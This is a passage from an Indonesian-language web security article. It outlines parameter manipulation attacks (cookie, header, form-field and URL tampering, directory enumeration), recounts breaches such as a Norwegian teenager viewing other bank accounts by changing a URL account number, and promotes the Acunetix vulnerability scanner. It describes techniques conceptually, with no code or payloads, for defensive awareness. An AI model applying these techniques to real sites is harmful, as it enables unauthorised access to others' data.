Parameter manipulation : Melakukan manipulasi terhadap data yang di transfer antara browser dengan aplikasi website tersebut. hal ini bisa di lakukan dengan beberapa cara :

- Cookie manipulation : Cookie yang menyimpan data login dalam suatu sesi, dengan adanya cookie, seorang user tidak perlu lagi melakukan login ke website tersebut, selama dia belum melakukan logout. karena cookie ini di simpan di dalam komputer klient, penyerang dengan mudah memanipulasi data cookie tersebut.

- HTTP Header Manipulation : HTTP headers yang mengontrol informasi dari jaringan klien ke server situs, di karenakan HTTP header ini berasal dari komputer client ( pelanggan ) . Penyerang dengan mudah mengubah dan memanipulasi data tersebut.

- HTLM Form Field manipulation : Sebuah form login, form pendaftaran, Form transfer, yang biasanya ada di suatu situs bisa di modifikasi dengan mudah, dan melancarkan serangan dengan memakai form yang sudah di ubah tersebut.

- URL manipulation : Sebuah situs yang menampilkan parameter perintah di bagian link situs tersebut di browser, akan dengan mudah di baca oleh penyerang tersebut untuk melakukan perubahan.

- Directory enumeration : Menganalisa directori dan struktur dari website tersebut, dan mencari directory tersembunyi, maupun mencari direktori yang memiliki write akses.

Dan masih banyak lagi metode serangan lainnya seperti :

File Inclusion, Script Source Code Disclosure, CRLF Injection Cross Frame Scripting (XFS), PHP Code Injection, XPath Injection, LDAP Injection, Blind SQL/XPath Injection, Authentication attacks, Buffer overflows.

Beberapa kejadian akibat bisa di tembus nya aplikasi website suatu perusahaan.

- Pada tahun 2000, seorang remaja berumur 17 tahun yang berasal dari norwegia, menembus sebuah bank lokal terkenal di negaranya. Pada saat dia sedang melakukan transaksi online di bank tersebut, dia menyadari bahwa aplikasi website ini menggunakan nomor accountnya sebagai bagian parameter di link url. Kemudian dia mencoba memasukkan secara acak nomor account lainnya di link url tersebut, dan hasilnya data account bank yang dia tulis tersebut muncul di layar komputernya lengkap dengan informasi detail lainnya.

- Pada tanggal 31 oktober 2001, Website Acme Art Inc, berhasil di tembus dan informasi kartu kredit customer yang pernah melakukan order lewat website ini di ambil, dan di tampilkan di Usenet Groups. Informasi hacking ini pun di beritakan kembali oleh media secara gencar, yang membuat perusahaan tersebut mengalami kerugian ratusan ribuan dollar di karenakan kehilangan kepercayaan customernya, dan banyak yang membatalkan order pembeliannya.

Perusahaan ini juga kehilangan pinjaman keduanya, yang di batalkan secara sepihak oleh Venture Capital Firm.

- Pada bulan juni 2003, Perusahaan Fashion dengan merk Guess, dan pet supply retailer PetCo. Keamanan website mereka di tembus dan sebagai hasilnya, hampir setengah juta data informasi kartu kredit customernya di curi.


- Di Indonesia sendiri, tentu kita masih ingat dengan situs KPU ( komisi pemilihan umum ), yang di serang dengan metode SQL injection. Yang mengakibatkan nama-nama partai yang ada di situs tersebut berubah.

- Choice Point inc, akibat tindakan hacking yang dilakukan seseorang, mengalami kerugian kurang lebih 15 Juta dollar

- University of Southern California ($140k +)

- Microsoft (Website defacement)

- PayPal (Account information stolen; cost unknown)

- Victoria’s Secret ($50k fine)

- Hotmail (Vulnerability detected – not fixed)

- Amazon (Vulnerability detected – not fixed)

- Petco (credit cards of 500k customers stolen)

Acunetix Website Aplikasi Scanner, Solusi untuk meminimalisir kejadian hacking atas situs perusahaan Anda

Apa itu Acunetix website aplikasi scanner ?

Acunetix Website aplikasi scanner adalah sebuah software yang berfungsi untuk melakukan scanning atas kelemahan yang bisa terjadi di situs Anda. Dengan memakai software ini, anda akan mengetahui apa saja kelemahan yang terdapat di situs anda beserta dengan saran apa yang harus Anda lakukan atas kelemahan yang di temukan tersebut.

Fasilitas apa yang terdapat di Acunetix website aplikasi scanner ?

Software ini secara otomatis akan memeriksa situs Anda terhadap kelemahan, metode nya antara lain :

• Version Check : Vulnerable Web Servers, Vulnerable Web Server Technologies – such as “PHP 4.3.0 file disclosure and possible code execution, CGI Tester, Checks for Web Servers Problems – Determines if dangerous HTTP methods are enabled on the web server (e.g. PUT, TRACE, DELETE), Verify Web Server Technologies.
  

• Parameter Manipulation : Cross-Site Scripting (XSS) – over 25 different XSS variations are tested, SQL Injection, Code Execution, Directory Traversal, File Inclusion, Script Source Code Disclosure, CRLF Injection, Cross Frame Scripting (XFS), PHP Code Injection, XPath Injection, Full Path Disclosure, LDAP Injection, and Cookie Manipulation.
  

• MultiRequest Parameter Manipulation : Blind SQL/XPath Injection.
  

• File Checks : Checks for Backup Files or Directories - Looks for common files (such as logs, application traces, CVS web repositories), Cross Site Scripting in URI, Checks for Script Errors.
  

• Directory Checks : Looks for Common Files (such as logs, traces, CVS), Discover Sensitive Files/Directories, Discovers Directories with Weak Permissions, Cross Site Scripting in Path and PHPSESSID Session Fixation, Web Applications.
  

• Text Search : Directory Listings, Source Code Disclosure, Check for Common Files, Check for Email Addresses, Microsoft Office Possible Sensitive Information, Local Path Disclosure, Error Messages.
  

• GHDB Google Hacking Database : Over 1200 GHDB Search Entries in the Database.
  

• Other vulnerability tests may also be preformed using the manual tools provided, including: Input Validation, Authentication attacks, Buffer overflows.